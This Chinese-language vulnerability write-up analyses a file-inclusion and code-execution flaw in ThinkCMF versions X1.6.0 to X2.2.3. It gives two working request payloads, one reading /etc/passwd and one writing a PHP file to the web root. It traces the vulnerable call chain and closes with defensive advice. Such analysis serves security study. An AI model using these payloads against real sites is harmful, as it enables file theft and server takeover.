文件包含 or 代码执行
字数 1281 2025-08-18 11:39:26

ThinkCMF 文件包含与代码执行漏洞分析

1. 漏洞概述

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。该框架存在文件包含和远程代码执行漏洞,攻击者可以通过精心构造的请求实现任意文件读取和代码执行。

2. 受影响版本

  • ThinkCMF X1.6.0
  • ThinkCMF X2.1.0
  • ThinkCMF X2.2.0
  • ThinkCMF X2.2.1
  • ThinkCMF X2.2.2
  • ThinkCMF X2.2.3

3. 漏洞复现

3.1 文件包含漏洞

Payload:

http://www.code.com/?a=display&templateFile=user/articles&prefix=%27%27&&content=etc/passwd

此payload可读取服务器上的/etc/passwd文件内容。

3.2 代码执行漏洞

Payload:

http://www.code.com/?a=display&templateFile=user/articles&prefix=%27%27&&content=%3C?php%20file_put_contents(%27test.php%27,%27%3C?php%20phpinfo();%20?%3E%27);

此payload会在网站根目录生成一个包含phpinfo()函数的test.php文件。

4. 漏洞分析

4.1 请求处理流程

  1. 入口文件:定义框架路径、项目路径、调试模式和应用模式等
  2. 配置文件:定义了默认路由值:
    • 默认模块:Portal
    • 默认控制器:index
    • 默认方法:index

4.2 关键代码执行路径

  1. 请求首先到达默认控制器IndexController的index方法
  2. 调用display方法(继承自父类)
  3. 父类中的display方法又调用View类的display方法
  4. View类的display方法调用fetch方法

4.3 漏洞触发点

在View类的fetch方法中,存在以下关键处理:

$this->fetch($templateFile, $prefix, $content)

其中:

  • $templateFile 来自GET参数templateFile
  • $content 来自GET参数content

4.4 文件操作流程

  1. 文件加载:通过loadTemplate方法加载模板文件

    • 如果文件存在,获取文件内容
    • 否则使用GET参数content的值
  2. 文件写入

    • 调用Storage类的静态put方法
    • 通过__callStatic魔术方法调用File类的put方法
    • 最终执行文件写入操作:检查目录、创建目录、设置权限、写入文件
  3. 文件包含:最后通过include加载文件内容,导致代码执行

5. 技术要点

  1. MVC设计模式:理解框架的MVC结构是分析漏洞的基础
  2. 方法继承:子类调用父类的public属性和方法
  3. 魔术方法__callStatic静态魔术方法的使用
  4. 钩子机制:Hook::listen('钩子名称','参数','额外参数')的调用方式
  5. 动态调用call_user_func_array()函数的使用

6. 防御建议

  1. 对用户输入进行严格过滤,特别是文件路径和内容参数
  2. 限制模板文件的加载范围,禁止加载非模板目录的文件
  3. 更新到最新版本,官方已修复此漏洞
  4. 实施最小权限原则,限制Web服务器的文件系统访问权限

7. 学习要点

通过此漏洞分析可以学习到:

  1. PHP框架的安全审计方法
  2. 文件包含漏洞的利用与防御
  3. 代码执行漏洞的形成原理
  4. 复杂调用链的分析技巧
  5. 逆向思维在漏洞挖掘中的应用

8. 流程图解

请求 → 入口文件 → 默认控制器 → display方法 → View::display → fetch → 
loadTemplate → (文件存在?读取内容:使用content参数) → 
Storage::put → File::put → 写入文件 → include执行

此流程图清晰展示了漏洞触发的完整路径,有助于理解漏洞的形成过程。

ThinkCMF 文件包含与代码执行漏洞分析 1. 漏洞概述 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。该框架存在文件包含和远程代码执行漏洞,攻击者可以通过精心构造的请求实现任意文件读取和代码执行。 2. 受影响版本 ThinkCMF X1.6.0 ThinkCMF X2.1.0 ThinkCMF X2.2.0 ThinkCMF X2.2.1 ThinkCMF X2.2.2 ThinkCMF X2.2.3 3. 漏洞复现 3.1 文件包含漏洞 Payload: 此payload可读取服务器上的/etc/passwd文件内容。 3.2 代码执行漏洞 Payload: 此payload会在网站根目录生成一个包含phpinfo()函数的test.php文件。 4. 漏洞分析 4.1 请求处理流程 入口文件 :定义框架路径、项目路径、调试模式和应用模式等 配置文件 :定义了默认路由值: 默认模块:Portal 默认控制器:index 默认方法:index 4.2 关键代码执行路径 请求首先到达默认控制器IndexController的index方法 调用display方法(继承自父类) 父类中的display方法又调用View类的display方法 View类的display方法调用fetch方法 4.3 漏洞触发点 在View类的fetch方法中,存在以下关键处理: 其中: $templateFile 来自GET参数templateFile $content 来自GET参数content 4.4 文件操作流程 文件加载 :通过loadTemplate方法加载模板文件 如果文件存在,获取文件内容 否则使用GET参数content的值 文件写入 : 调用Storage类的静态put方法 通过 __callStatic 魔术方法调用File类的put方法 最终执行文件写入操作:检查目录、创建目录、设置权限、写入文件 文件包含 :最后通过include加载文件内容,导致代码执行 5. 技术要点 MVC设计模式 :理解框架的MVC结构是分析漏洞的基础 方法继承 :子类调用父类的public属性和方法 魔术方法 : __callStatic 静态魔术方法的使用 钩子机制 :Hook::listen('钩子名称','参数','额外参数')的调用方式 动态调用 : call_user_func_array() 函数的使用 6. 防御建议 对用户输入进行严格过滤,特别是文件路径和内容参数 限制模板文件的加载范围,禁止加载非模板目录的文件 更新到最新版本,官方已修复此漏洞 实施最小权限原则,限制Web服务器的文件系统访问权限 7. 学习要点 通过此漏洞分析可以学习到: PHP框架的安全审计方法 文件包含漏洞的利用与防御 代码执行漏洞的形成原理 复杂调用链的分析技巧 逆向思维在漏洞挖掘中的应用 8. 流程图解 此流程图清晰展示了漏洞触发的完整路径,有助于理解漏洞的形成过程。